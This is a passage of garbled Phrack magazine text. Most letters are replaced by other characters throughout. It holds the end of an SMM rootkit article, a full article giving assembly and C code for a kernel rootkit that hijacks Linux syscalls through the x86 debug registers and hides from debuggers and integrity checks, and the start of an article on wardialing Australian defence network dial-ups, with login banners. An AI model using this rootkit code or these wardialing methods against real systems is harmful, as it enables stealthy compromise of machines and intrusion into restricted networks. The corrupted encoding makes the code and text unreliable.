#he e0il.c code also attached 3ill use the @AA Aani*ulation %i(rar" to
insert a small @AA handler that freeBes the *rocessor.
------[ . - ;uture and other uses
'e can8t foresee the future, (ut modern rootkits are (ecomin1 much more
tar1eted, so this kind of dee*er hackishs 3ill start to (e more 3idel"
seen.
)lso, 3ith ne3 *latforms to !I=@ enhancements, like the /xtensi(le ;irm3are
Interface, e0er"thin1 that de*ends on (oot *atchin1 3ill (e easier [L.
)nother im*ortant thin1 to notice is the 0irtualiBation resources that
exist no3ada"s and some *ossi(ilities of usin1 them in im*lementations of
hard3are *rotected inte1rit"-check s"stems [10.
------[ - - )ckno3led1ments
) lot of *eo*le hel*ed us in the lon1 3a" these researches that resulted in
somethin1 funn" to (e *u(lished, "ou all kno3 3ho "ou are.
@*ecial tks to t3iB and the Phrack @taff for the 1reat re0ie3 of the
article, 1i0in1 a lot of im*ortant insi1hts a(out ho3 to (etter structure
it and 1i0in1 a real 0alue to it.
;inall", (i1 tks to Iulio )uto for the re0ie3 of the article drafts.
!@4aemonE
$onference or1aniBers 3ho in0ited me to talk a(out *rotection
mechanisms usin1 @AA C"eah, a lot of fun in com*letel" different culturesD.
#o m" 1irlfriend 3ho 3aited for me Calone, I su**oseD durin1 this tra0els.
+I@/ @ecurit" Chtt*EWW333.risesecurit".or1D for al3a"s kee*in1 me moti0ated
stud"in1 com*letel" ne3 thin1s.
------[ J - +eferences
[1 - Intel )rchitecture +eference Aanuals
htt*EWW333.intel.comW*roductsW*rocessorWmanualsWindex.htm
[F - %oic 4uflot, 4aniel /tiem(le, =li0ier 6rumelard, ><sin1 $P< @"stem
Aana1ement Aode to $ircum0ent =*eratin1 @"stem @ecurit" ;unctions>
Proceedin1s of $an@ec'est, F00-
[H - !ranco, +odri1o +u(ira, >,I4@ - ,ernel Intrusion 4etection @"stem>
&ackers to &ackers $onference, F00J
[4 - %i(P$I for %inux
ft*EWWft*.kernel.or1W*u(Wsoft3areWutilsW*ciutilsW
[. - Intel KFK01 !)-IW= $ontroler &<! CI$&FD 4atasheet
htt*EWW333.intel.comWdesi1nWchi*setsWdatashtsWFL0-KJ.htm
[- - Intel KFK4. Aemor" $ontroler &<! CA$&D 4atasheet
htt*EWW333.intel.comWdesi1nWchi*setsWdatashtsWFL0JF..htm
[J - %inux!I=@
htt*EWWfreshmeat.netW*ro9ectsWlinux(ios
[K - !in1, @un, >!I=@ !oot &i9ackin1 !" <sin1 Intel I$&x >#o*-!lock @3a*>
Aode>
G;ocus Information @ecurit" $onference, F00J
[L - &easman, Iohn, >&ackin1 the /xtensi(le ;irm3are Interface>
!lackhat %as Ve1as !riefin1s, F00J
[10 - !ranco, +odri1o +u(ira, >@tAichael Pro9ect>
htt*EWWst9ude.sf.net
[11 - P$I @*ecification
htt*EWW333.*cisi1.com
[1F - @hanle", #om[ )nderson, 4on[ >P$I @"stem )rchitecture>
Aindshare Inc
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]
end
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0K of 0x0f
|=---------------------=[ Aistif"in1 the de(u11er, =--------------------=|
|=---------------------=[ ultimate stealthness =--------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ halfdeadQ*hear.or1 =-----------------------=|
--[ Introduction
=0er the "ears, there ha0e (een a *lethora of techni:ues and methods of
hidin1 one8s *resence in a hacked s"stem. Aan" of them 3ere focused on
directl" tam*erin1 the s"stem call ta(le, others 3ere modif"in1 the
interru*t handler, 3hile others 3ere o*eratin1 at the V;@ la"er. !ut all
of them 3ere modif"in1 the underl"in1 o*eratin1 s"stem in a 0er" 0isi(le
manner, makin1 them easil" detected.
In the article I 3ill *resent a techni:ue that is a(le to achie0e ultimate
stealthness in kernel rootkits, (" usin1 a common xK- feature, the
de(u11in1 mechanism. )lthou1h it 3orks on an" I)-HF com*ati(le *latform,
the follo3in1 techni:ue 3ill (e detailed for %inux o*eratin1 s"stem and I
3ill sho3 "ou ho3 one can interce*t the normal flo3 of execution 3ithout
touchin1 the >classical> hookin1 tar1ets. In fact, this techni:ue can (e
so 1ood that no one 3ill e0er notice our *resence.
'hen 3e refer to >de(u11er> in this article, 3e actuall" mean the I)-HF
de(u11in1 mechanism, 3hich is onl" accessi(le from rin1 Bero. <serland
de(u11ers don8t make use of this mechanism, onl" some kernel de(u11ers
do.
--[ #he de(u11er
>#he I)-HF architecture *ro0ides extensi0e de(u11in1
facilities for use in de(u11in1 code and monitorin1
code execution and *rocessor *erformance. #hese
facilities are 0alua(le for de(u11in1 a**lications
soft3are, s"stem soft3are, and multitaskin1 o*eratin1
s"stems.>
In order to make life easier for de0elo*ers, Intel introduced a mechanism
that 3as intented to mana1e the de(u11in1 *rocess. #his mechanism is
handled (" a set of s*ecial re1isters Ccalled 8de(u11in1 re1isters,
4+0..4+JD 3hich allo3 the user to set hard3are (reak*oints on memor"
addresses. )s soon as the execution flo3 hits an address marked 3ith a
(reak*oint, it hands the control to the de(u1 interru*t handler CI5# 1D,
3hich calls the do?de(u1CD function Cdefined in ..WiHK-WkernelWtra*s.cD to
take care of the actual situation that raised the exce*tion.
#he de(u11in1 su**ort is accessed throu1h the de(u1 re1isters C4!0 throu1h
4!JD and t3o model-s*ecific re1isters CA@+sD. ;or the *ur*ose of this *a*er
3e 3ill onl" focus on the de(u1 re1isters. #hese re1isters hold the
addresses of memor" and IW= locations, called (reak*oints. !reak*oints are
user-selected locations in a *ro1ram, a data-stora1e area in memor", or
s*ecific IW= *orts 3here a *ro1rammer or s"stem desi1ner 3ishes to halt
execution of a *ro1ram and examine the state of the *rocessor (" in0okin1
de(u11er soft3are.
) de(u1 exce*tion C#4!D is 1enerated 3hen a memor" or IW= access is made
to one of these (reak*oint addresses. ) (reak*oint is s*ecified for a
*articular form of memor" or IW= access, such as a memor" read andWor
3rite o*eration or an IW= read andWor 3rite o*eration. #he de(u1 re1isters
su**ort (oth instruction (reak*oints and data (reak*oint. #he A@+s C3hich
3ere introduced into the I)-HF architecture in the P- famil" *rocessorsD
monitor (ranches, interru*ts, and exce*tions and record the addresses of
the last (ranch, interru*t or exce*tion taken and the last (ranch taken
(efore an interru*t or exce*tion.
--[ #he de(u1 re1isters
#here are K de(u1 re1isters su**orted (" the Intel *rocessors, 3hich
control the de(u1 o*eration of the *rocessor. #hese re1isters can (e
3ritten to and read usin1 the mo0e to or from de(u1 re1ister form of
the A=V instruction. ) de(u1 re1ister ma" (e the source or destination
o*erand for one of these instructions. #he de(u1 re1isters are *ri0ile1ed
resources[ a A=V instruction that accesses these re1isters can onl" (e
executed in real-address mode, in @AA, or in *rotected mode at a $P%
of 0. )n attem*t to read or 3rite the de(u1 re1isters from an" other
*ri0ile1e le0el 1enerates a 1eneral *rotection exce*tion.
#he *rimar" function of the de(u1 re1isters is to set u* and monitor
from 1 to 4 (reak*oints, num(ered 0 thou1h H. #he de(u1 mechanism allo3s
us to mana1e the (reak*oints throu1h t3o s*ecial re1isters, 4+- and 4+J,
3hich I 3ill descri(e in detail later on. ;or each (reak*oint, the
follo3in1 information can (e s*ecified andWor detected 3ith the de(u1
re1istersE
- #he linear address 3here the (reak*oint is to occur.
- #he len1th of the (reak*oint location C1, F, or 4 ("tesD.
- #he o*eration that must (e *erformed at the address for a de(u1
exce*tion to (e 1enerated.
- 'hether the (reak*oint is ena(led.
- 'hether the (reak*oint condition 3as *resent 3hen the de(u1
exce*tion 3as 1enerated.
-------[ 4e(u1 address re1isters
/ach of the de(u1-address re1isters C4+0-4+HD holds the HF-(it linear
address of a (reak*oint. !reak*oint com*arisons are made (efore *h"sical
address translation occurs.
-------[ 4e(u1 re1isters 4+4 and 4+.
4e(u1 re1isters 4+4 and 4+. are reser0ed 3hen de(u1 extensions are ena(led
Cthe 4/ fla1 in control re1ister $+4 is setD, and attem*ts to reference
these re1isters 3ill raise an in0alid-o*code exce*tion. 'hen the 4/ fla1
is not set, these re1isters are aliased to 4+- and 4+J.
------[ 4e(u1 status re1ister C4+-D
#his s*ecial re1ister is used to re*ort the de(u1 conditions that existed
at the time the last de(u1 exce*tion occured. #he fla1s in this re1ister
sho3 the follo3in1 informationE
- !0..!H C(its 0..HD indicate that a (reak*oint condition 3as
detected. #hese fla1s are set if the condition descri(ed
for each (reak*oint (" the %/5n, and +W'n fla1s in de(u1
control re1ister 4+J is true. #he" are set e0en if the
(reak*oint is not ena(led (" the %n and 6n fla1s in re1ister
4+J.
- !4 C(it 1HD Cde(u1 re1ister access detectedD indicates that the
next instruction in the instruction stream 3ill access one of the
de(u1 re1isters C4+0..4+JD. #his fla1 is ena(led 3hen the 1eneral
detect C64D fla1 in de(u1 control re1ister 4+J is set.
- !@ C(it 14D Csin1le ste*D indicates C3hen setD that the de(u1
exce*tion 3as tri11ered (" the sin1le-ste* execution mode.
- !# C(it 1.D Ctask s3itchD indicates C3hen setD that the de(u1
exce*tion resulted from a task s3itch 3here the de(u1 tra* fla1
in the #@@ of the tar1et task 3as set.
#he *rocessor ne0er clears the contents of 4+- re1ister.
------[ 4e(u1 control re1ister C4+JD
#he de(u1 control re1ister C4+JD ena(les or disa(les (reak*oints and sets
(reak*oint conditions. Its fla1s and fields control the follo3in1 thin1sE
- %0..%H C(its 0, F, 4, -D Clocal (reak*oint ena(leD ena(le C3hen
setD the (reak*oint condition for the associated (reak*oint for
the current task. 'hen a (reak*oint condition is detected and its
associated %n fla1 is set, a de(u1 exce*tion is 1enerated. #he
*rocessor automaticall" clears these fla1s on e0er" task s3itch
to a0oid un3anted (reak*oint conditions in the ne3 task.
- 60..6H C(its 1, H, ., JD C1lo(al (reak*oint ena(leD ena(le C3hen
setD the (reak*oint condition for the associated (reak*oint for
all tasks. 'hen a (reak*oint condition is detected and its
associated 6n fla1 is set, a de(u1 exce*tion is 1enerated.
#he *rocessor does not clear these fla1s on a task s3itch,
allo3in1 a (reak*oint to (e ena(led for all tasks.
- %/ and 6/ C(its K and LD Clocal and 1lo(al exact (reak*oint
ena(leD cause the *rocessor to detect the exact instruction that
caused a data (reak*oint condition. 5ot su**orted in P- famil"
*rocessors.
- 64 C(it 1HD C1eneral detect ena(leD ena(les C3hen setD
de(u1-re1ister *rotection, 3hich causes a de(u1 exce*tion to (e
1enerated *rior to an" A=V instruction that accesses a de(u1 re1ister.
'hen such a condition is detected, the !4 fla1 in de(u1 status re1ister
4+- is set *rior to 1eneratin1 the exce*tion.
- +W'0..+W'H C(its 1-, 1J, F0, F1, F4, F., FK, and FLD CreadW3riteD
s*ecifies the (reak*oint condition for the corres*ondin1 (reak*oint.
;or more information read the Intel manual.
- %/50..%/5H C(its 1K, 1L, FF, FH, F-, FJ, H0, and H1D Clen1thD
--[ #he ma1ic
=k, so 3e80e learnt almost e0er"thin1 no3 a(out the I)-HF de(u11in1
mechanism. 'here is the 1oodies "ou80e *romised22 5o3 3e kno3 a fe3
im*ortant thin1sE 3e can set a (reak*oint on a memor" address and as soon
as execution flo3 hits our (reak*oint, the execution is redirected to the
de(u1 handler CI5# 1D. <hmm, so 3hat if 3e re*lace the existin1 de(u1
handler or one of the underl"in1 functions 3ith our o3n2 )s 3e can see
from entr".@,
/5#+7Cde(u1D
*ushl N0
*ushl N @7A!=%?5)A/Cdo?de(u1D
9m* error?code
the actual de(u1 handler is a $ function, do?de(u1CD defined in tra*s.c.
7es, ok, I think 3e are a(le to *atch the I5# 1 handler and then call
do?de(u1CD on our o3n =+ 3e could come u* 3ith our o3n do?de(u1CD and
ex*ect to (e called (" the de(u1 handler, so 3e rest assured that the
I4# remains untouched. !ut 3hat should our handler handle2 Aost o(0iousl",
3e need to check a fe3 *arameters and then *ass control to the actual
o*eratin1 s"stem do?de(u1CD. !ut 3hat *arameters should 3e monitor2 ,ee*
readin1...
------[ &i9ackin1 the s"s?call?ta(le[
5o3 "ou should ha0e an idea ho3 to hi9ack the s"scall ta(le makin1 use
onunnt on readW3riteWexecution on tar1etted address in memor". #his can
(e either I5# K0 handler address or s"scall ta(le address, it matters
less as the effect is the same, in the end. #herefore, each time the
o*eratin1 s"stem is 1oin1 for a s"scall, it 3ill 3ind u* in our handler.
'e ha0e t3o o*tions hereE )D hi9ackin1 the I5# K0 handler directl" in
I4# or !D hi9ackin1 the actual address of s"s?call?ta(le[ in memor". )n"
of them is fit for our *ur*oses, so 3e 3ill aim for ). #he follo3in1
function 3ill return the address of I5# K0 handler.
1et?idt?entr"E
sidt idtr
mo0l idtrYF, ^e(x
leal C^e(x, ^eax, KD, ^e(x
mo03 C^e(xD, ^cx
roll N1-, ^ecx
mo03 0x-C^e(xD, ^cx
roll N1-, ^ecx
mo0l ^ecx, ^eax
ret
=nce 3e kno3 the address, 3e can set u* a (reak*oint as follo3sE
set?(*mE
mo0l N0xK0, ^eax
call 1et?idt?entr"
mo0l ^eax, ^dr0
xorl ^eax, ^eax
orl N0xF0K0, ^eax
mo0l ^eax, ^drJ
ret
)s "ou can see, the set?(*mCD function 3ill load 4+0 3ith memor" address
3here I5# K0 is located and, also, 3ill set u* the accordin1 fla1s in 4+J,
includin1 the ma1ic 64 (it, 3hich allo3s us to monitor '&= and '&7 is
accessin1 the de(u1 re1isters. #his (it is 0er" im*ortant for us (ecause
it >causes a de(u1 exce*tion to (e 1enerated *rior to an" A=V instruction
that accesses a de(u1 re1ister>. 'o3, do "ou mean...2 7eah, if @=A/=5/ is
tr"in1 to readW3rite the de(u1 re1isters, the control is *assed to our
handler !/;=+/ the instruction takes *lace. @o, 3e kno3 if someone, a
de(u11er or some tool of the de0il, is checkin1 the de(u1 re1isters, e0en
(efore the" kno3 it. #his 1i0es us time to co0er our tracksE 3e can undo
e0er"thin1 and 3ait some time for dan1er to *ass, 3e can sim*l" ski* the
instructions affectin1 the de(u1 re1isters, etc. #he (est thin1 to do is
to sho3 the s"stem clean de(u1 re1isters and after a short *eriod of time,
hook e0er"thin1 (ack to (est suit our needs. #he (est a*roach is to come
u* 3ith a code emulator, anal"Bin1 the t"*e of the instruction accessin1
de(u1 re1isters, and (ased on that decide 3hat action 3ill follo3E clean
the de(u1 re1isters and restore later or sim*l" increase the instruction
count so that the instruction is sim*l" i1nored. )n"3a", this lea0es an
o*en discussion.
------[ #he handler
5o3, 3e mana1ed to redirect the flo3 of execution 3ithout *atchin1 an"thin1
in the s"scall ta(le or I5# K0 handler. !ut still, 3hat should our handler
handle2 ;or starter, in its most sim*listic form, our handler needs to
check the 0alue of the ^eax re1ister, (ecause at this *oint, it contains
the desired s"scall num(er, and (ased on that it should feed the =@ 3ith
our hacked s"scall. #his is ho3 a 0er" sim*le handler should look likeE
asmlinka1e 0oid ne3?do?de(u1Cstruct *t?re1s O re1s, lon1 error?codeD
U
unsi1ned lon1 condition[
unsi1ned lon1 mask = 0xF00K[

??asm?? ??0olatile??C>mo0l ^^d(-,^0> E >=r> CconditionDD[
if Ccondition M !4?;%)6D U WO someone is rW3 the re1isters OW
condition M= Z!4?;%)6[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(-> E E >r> CconditionDD[
re1s-Sei* Y= H[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(J> E E >r> CmaskDD[
V
if Ccondition M 4+?#+)P0D U
if Cre1s-Seax == ??5+?timeD
s"s?call?ta(le[??5+?time = hacked?time[

if Cre1s-Sefla1s M VA?A)@,D U
COold?do?de(u1DCre1s,error?codeD[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(J> E E >r> CmaskDD[
V
condition M= Z4+?#+)P0[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(-> E E >r> CconditionDD[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(J> E E >r> CmaskDD[
re1s-Sefla1s |= GK-?/;%)6@?+;[
V
else
U
COold?do?de(u1DCre1s, error?codeD[
??asm?? ??0olatile?? C>mo0l ^0, ^^d(J> E E >r> CmaskDD[
V
return[
V
'hat are 3e doin1 here2 ;irst, 3e 1ra( the 0alues in the status re1ister
C4+-D and tr" to fi1ure out 3hat tri11ered our handler. If our execution
comes as a result of the (reak*oint 3e80e *laced, 3e com*are the 0alue in
^eax re1ister to the 0alue of the s"scall 3e decided to hi9ack, 3hich 3as
s"s?timeCD in our case. In the exam*le *ro0ided, due to the lack of s*ace
and time, 3e did a direct chan1e of the s"s?call?ta(le[ (ut this is not
somethin1 to 3orr" a(out as, the hacked?timeCD is modif"in1 the
s"s?call?ta(le[ (ack to ori1inal in the instant it 1ets executedE
asmlinka1e lon1 hacked?timeCint OtlocD
U
s"s?call?ta(le[??5+?time = ori1inal?time[
*rintkC>R1S'/ chan1ed itPP\n>D[
return ori1inal?timeCtlocD[
V
=fcourse, there are other 3a"s of doin1 it 3ithout touchin1 the s"scall
ta(le at all (ut take into consideration that the first thin1 the
hacked?timeCD does is chan1in1 (ack the 0alue in s"s?call?ta(le[, meanin1
that the actual chan1e takes *lace for less than a microsecond so it
shouldn8t (e a *ro(lem.
) (etter method 3ould (e to anal"Be the *arameters of the s"scall, (ased on
the s"scall num(er, 3hich at the time our handler takes *lace is the 0alue
in ^eax re1ister. 'e could feed the hacked *arameters (" sim*l" fillin1 the
accordin1 re1isters. #his method 3ould create a >0irtual> s"scall ta(le,
so 3e don8t need to touch the actual s"scall ta(le at all.
@o no3 3e learnt ho3 to set a (reak*oint on a memor" address, ho3 to ena(le
that (reak*oint[ 3e also learnt that 3e can hi9ack the normal execution
flo3 3ithout tam*erin1 the I5# K0 handler nor the s"scall ta(le handler
nor the s"scall ta(le itself. 7es, "ou can sa" it8s a lo0el" techni:ue, a
(it of ma1ic. !ut still, 3e modif" the I5# 1 handler, or at least, 3e *atch
the do?de(u1CD function, so 3e8re not that stealth. Iust kee* readin1...
---[ !lindfold
'e learnt so man" (eautiful thin1s (" no3, 3e take control of the s"stem
and no one detects a direct tam*erin1 of the kernel. 'e co0ered our tracks
thanks to the 64W!4 (its so, if someone is lookin1 at the de(u11in1
re1isters 3e sim*l" i1nore their curiosit" Cre1s-Sei* Y=HD. !ut 3hat if
someone 3ants to check all the I4# for inte1rit"2 =r 3hat if a de(u11er
or a similar tool needs to *lace its o3n handler on I5# 12 )re 3e lost
then2
It sure looks like it..
!ut 3ait.. 4+- and 4+J come to rescue once more. 'hat 3e need to do is the
follo3in1E
- set u* "our handler on I5# 1
- set u* the (reak*oint to 3atch for I5# K0 address
- set a secondar" (reak*oint to 3atch on our handler8s address
=h, 3aitP It can8t (e that sim*le. 7es, it isP %ike this, 3e *racticall"
don8t affect the kernel at all, for the un3anted e"e. In our ideal handler,
the code emulator checks the t"*e of the instruction that attem*ts to
access de(u1 re1isters, 3ether is the (reak*oint 3e *ut on I5# K0 or
I5# 1 and act accordin1l". 'e alread" ex*lained 3hat it should do for
hi9ackin1 I5# K0, let8s talk no3 a(out I5# 1. !" *lacin1 a secondar"
(reak*oint on I5# 1 or do?de(u1CD function, 3e make sure that 3e kno3
a*riori 3hen someone attem*ts to read the onl" location in the kernel
memor" 3e modified. #he (est thin1 to do is to make that sin1le address
(ack to ori1inal. %ike this, 3hen some de0ilish tool attem*ts to check for
our *resence in the I4# too Ci don8t think there an" tools doin1 that
outhere, (ut that8s sim*l" (ecause a 3hitehat 3ould80e ne0er thou1ht it8s
necessar"D, 3e let them see the untouched 0alue. #his is >dee* co0er> mode.
!ut did 3e lose the control o0er the kernel no32 'ell, not reall", 3e8re
still in controlE 3e can >reinstall> our rootkit after a fe3 nanoseconds,
so the" miss us e0er" time the" look at us. It8s like (lindfoldin1 them.
#his techni:ue is also hel*ful 3hen dealin1 3ith a de(u11er
Cor similar toolD tr"in1 to *lace its o3n hook in I5# 1 handler. #hink
a(out itE 3e detect the attem*t and make e0er"thin1 (ack to normal, the"
*lace their hook, 3e hi9ack their hook as a normal I5# 1 hi9ack and as
soon as the" check for their *resence, for exam*le, (" checkin1 the
*resence of the handler, 3e let them see themsel0es. It8s like chainin1
hooks, or so. 'hen I disco0ered that I 3as stunned. 'hen I realised it
reall" 3orks I 3as amaBed. #his is the ultimate stealthness, the hol"1rail
of hackersP
---[ $losin1 3ords
#his techni:ue has (een acti0el" used in the under1round for more than K
"ears no3. #he (eaut" a(out itE it is, in fact, a (asic I)-HF feature. #he"
cannot defeat a1ainst it 3ithout remo0in1 the 3hole de(u1 mechanism. I
decided to make it *u(lic in *hrack throu1h a >scientific> *a*er O1O (ut it
3asn8t m" choiceE the techni:ue leaked a 3hile a1o. I hi1hl" dou(t that the
*erson that leaked it kno3s exactl" 3hat his tool is actuall" ca*a(le of
and 3hat is actuall" doin1, so I decided to hel* him and an" other hacker
in the 3orld 3illin1 to learn and im*ro0e their skills. )s "ou ha0e seen,
this is one 0er" *o3erful techni:ue, allo3in1 one to achie0e full
stealthness on a tar1et s"stem. !ein1 a fundamental *rocessor feature,
means it can (e used on )57 o*eratin1 s"stem runnin1 on I)-HF and also,
there is no 3a" of detectin1 or *rotectin1 a1ainst it, e0en if it is not
0da" an"more [C
---[ ,udos
hal0ar, t3iB, re0erser, sd and the rest of the di1italnerds
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0L of 0x0f
==Phrack Inc.==
|=---------------------------------------------------------------------=|
|=--------=[ )ustralian +estricted 4efense 5et3orks and ;I@@= =-------=|
|=---------------------------------------------------------------------=|
|=-----------------------------[ #he ;inn ----------------------------=|
|=-----------------------=[ #he;innQ*hrack.or1 =----------------------=|
|=---------------------------------------------------------------------=|
--[ $ontents
1. Introduction
F. 'ardiallin1 and 7ou
H. =ri1ins of ;I@@=
4. )ustralian 4o4 and ;I@@=
.. )n Introduction to the /P% and $$+)
-. #he /P% and $$+) in de*th
J. =ther standards
K. @ecrets
L. $onclusion
10. )nnex
--[ 1. Introduction
#his document ex*lains and introduces a ne3 secret net3ork maintained
(" the )ustralian 4o4. )s far as I kno3, this net3ork is similar in
its usa1e to the )merican 4o48s @IP+5/#. #o (e used in con9unction
3ith s*eciall" desi1ned soft3are to *romote (etter communication in
the *rocedures and im*lementation of command and control s"stems,
intelli1ence and lo1istics.
Please kee* in mind, much if it 3ill (e (ased on m" o3n *ast ex*erience,
o(ser0ations and 1uess3ork. 4ue to the 0olatile nature of the information
I 3ill kee* it >(arel" le1al> 3hile tr"in1 to introduce some of the
conce*ts (ehind the 3a" the 0arious 4o48s are no3 interconnectin1 and
thus maintainin1 the same net3ork securit" *hiloso*h" across the 3orld.
I found this document a 1ood idea (ecause to find this information out
re:uired 3eeks of readin1 and kno3in1 3here to find these thin1s on the
3e(. )lso "ou8d ha0e to read the kinds of documents that first s*ecifies
ho3 it8s 1oin1 to use 0er(s 3ithin the document, then the" 3ill con0e"
ho3 the" are 1oin1 to use nouns... etc...
7ou reall" don8t 3ant to 1o there [D
--[ F. 'ardiallin1 and 7ou
)fter 3ardiallin1 a lot of num(ers I found some reall" interestin1 dialu*s
(elon1in1 Co(0iousl"D to the 4o4 3hich 3ere *art of the net3ork (elon1in1
to the )ustralian 5a0".
7ou don8t reall" see a lot on 3ardiallin1 an"more as there are so man"
I@P8s *eo*le can connect to for 0*n connecti0it" to an"3here in the 3orld,
ho3e0er the militar" still considers modems a 1ood 3a" to communicate
as the" can control the access *oint themsel0es and lo1 e0er"thin1.
I *ersonall" use #&$@$)5 on 3indo3s to 3ardial 3ith, as it 3orks 3ell
in )ustralia for me as 3ell as other *laces. CI sa" it 3orks 3ell in
)ustralia (ecause o0er the "ears man" 3ardiallers ha0e come out 3ith
V/+7 strin1ent rules a(out the num(ers to (e dialled 3hich onl" conform
to <@ area-code and diallin1 standards - 0er" anno"in1 -?-D. I al3a"s
ha0e it on m" la*to*s - 1o no3here 3ithout it [D. #&$ ha0e had to remo0e
man" of their 1reat tools from their 3e(site recentl" (ecause of the
chan1es in 6erman la3 re1ardin1 internet securit" tools, (ut thanks to
the 1u"s from *acketstorm it is still a0aila(le there.
#he other 1ood 3ardialler I lo0e to use on linux is i3ar. [K
#his is a reall" nice 3ardialler, lets "ou use as man" modems as "ou
can fit on the (ox. It can also lo1 all the data to a m"s:l data(ase -
3hich I am a fan of. #he" are 3orkin1 on a si*WiaxF functionalit" 3hich
3ill allo3 dialout throu1h a si* 1ate3a" and 3ardial the P@#5 net3ork on
the other side usin1 a soft3are modem - it 3orks, (ut 3ith some small
difficulties at the moment. It8s still a 3ork in *ro1ress. Prett"
so*histicated stuff, reall" nice.
It is *ossi(l" useful to note here e0en a commercial *ro0ider like ;ree
'orld 4ialu* 3ill allo3 "ou to dial the <@, <, and 5% toll free num(ers
o0er si* for free. #here are others 3hich 3ill also 1i0e "ou local calls
for free Cin countries 3here the" are freeD 3ith a little research, "ou
can find them.
)n"ho3, unfortunatel" in )ustralia, it costs "ou N0.FFc *er local call. @o
this kind of info is ex*ensi0e to 1et - e0en if "ou8re diallin1 on a sunda"
mornin1 at Fam C3hich is 3hat I didD - unless "ou like sittin1 outside
*eo*les homes (ei1in1 - I8m 1ettin1 too old and fat for that an"ho3 [D
!ut for "ou "oun1 skinn" folk - 3ardiallin1 still 3orks 3ell, *eo*le should
(e doin1 it - es*eciall" in countries 3here local calls are freePP
'hen I first sa3 these *o* u*, I 3as *rett" ha**". I8d not (een at the
front-door to an"thin1 like this in a 3hile, and I kne3 it 3ould kee*
me interested for a (it. 7ou ha0e to kee* in mind, the 4e*artment of
4efence is stu*id and 3orth" of "our res*ect - (oth. #he" are like
mmost other lar1e animals, the" are slo3 to mo0e, (ut if the" hit "ou,
"ou8ll 1et s:uished like a (u1 CI ha0e (een there (eforeD.
&o3e0er it8s amaBin1 ho3 much of an understandin1 "ou can 1et a(out such
a lar1e tar1et (" doin1 a little research.
'hen I first found these dialu*s it 3as (ack in F004. I noted them
all do3n, and ke*t a co*" 0er" safe. %ater on a cou*le "ears later I
rechecked them to make sure the" 3ere still 0alid - no other reason.
I did notice a sli1ht chan1e - in the (anner.
&ere8s the ori1inal (anner (ack in F004E
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O $=55/$# .J-00 O
O O
O #he unauthorised access, use or modification of this com*uter s"stem O
O or the data contained therein or in transit toWfrom, is *rohi(ited O
O (" Part VI) of the $ommon3ealth $rimes )ct and other ;ederal and @tate O
O la3s. O
O #his s"stem is su(9ect to re1ular audit. O
O ---------------------------------------------------------- O
O ;or access *ro(lems *lease lo1 a 9o( throu1h the 4+5 $ustomer @u**ort O
O $entre. /ither *hone 1HHFJF or e-mail to O
O 8outa1e.notificationsQdefence.1o0.au8. O
O O
O OOOOOOOOOOOOOOOO O
O O
O O
O <ser )ccess Verification O
O O
O <sernameE O
O 5= $)++I/+ O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
&ere8s the (anner in F00-E
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O $=55/$# H-000 $$$$ O
O #he unauthorised access, use or modification of this com*uter s"stem O
O or the data contained therein or in transit toWfrom, O
O is *rohi(ited (" Part VI) of the $ommon3ealth $rimes )ct O
O and other ;ederal and @tate la3s. O
O O
O #his s"stem is su(9ect to re1ular audit. O
O----------------------------------------------------------------------- O
O ;or access *ro(lems *lease lo1 a 9o( throu1h the ;I@@= @u**ort $entre. O
O /ither *hone 0F LH.L -000 or e-mail to 8fleet.hel*Qdefence.1o0.au8. O
O O
O OOOOOOOOOOOOOOOOO O
O O
O O
O <ser )ccess Verification O
O O
O <sernameE O
O 5= $)++I/+ O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
C#he *art I starred out 3as the actual dialu* location and line num(er
3hich are a code for maintenance *ur*oses for the terminal ser0er I 1uess.D
)s "ou can ima1ine I 3as kinda interested in 3h" it chan1ed from a 4+5
C4efense +estricted 5et3orkD to ;I@@= and 3hat ;I@@= 3as.
I checked around the 3e(, and then started readin1 all the *df8s that
the militar" in )ustralia declassif" and make a0aila(le to the *u(lic.
--[ H. =ri1ins of ;I@@=
$urrentl" the +)5 C+o"al )ustralian 5a0"D has ex*anded the 4+5 C4efence
+estricted 5et3orkD to allo3 for more ro(ust communications *rotocols
Cstill an IP 5et3orkD and @er0ices. #hus ;I@@= C;leet Information @"stems
@u**ort =r1anisationD is (orn out of the old 5a0" dri0en 4+5 @u**ort 6rou*.
4urin1 some time 3hen those (anners a(o0e chan1ed, the 4+5 3as ex*anded
to include the other armed ser0ices (ranches )rm" and )ir ;orce.
#he" are no3 im*lementin1 the net3orkin1 technolo1" o0erseas 3ith
colla(oration efforts in the <, and <@). #his 3ill allo3 far (etter
communications (et3een the 0arious armed ser0ices of the 3est and thus
*ro0ide (etter cohesion. #his is 3here the $$+) comes in.
It is also interestin1 to mention here one *ro9ect 3hich has (een in the
*ress for "ears - /$&/%=5. #he <@)<, )1reement (ack after ''F has allo3ed
0ast amounts of intelli1ence to (e shared amon1 the mem(er nations as 3ell
as *ro9ects like /$&/%=5 to (e enacted. #his ne3 criteria for securit"
measures internationall" is a ne3 (rick in the 3all for these intelli1ence
communities.
,ee* in mind - 3hen "ou see this kind of *ress for thin1s like /$&/%=5,
that is one thin1, (ut most of the intelli1ence a1encies 3ill not share
hi1h le0el intel 3ith )57=5/, not e0en allies. 'hat the" 3ill usuall"
share are thin1s that used to come under the term >domestic terrorism> -
3hich after LW11 is a relati0e term 3ith the &omeland @ecurit" 4e*artment
(ein1 formed.
<nfortunatel" or fortunatel" - de*endin1 ho3 "ou look at it, as a result,
the list itself sho3s clearl" 3hich e0aluated *roducts are in use on
such net3orks - 3hich is at least of interest to us.
=ne of the fundamental *ro(lems 3ith makin1 rules is the existence of
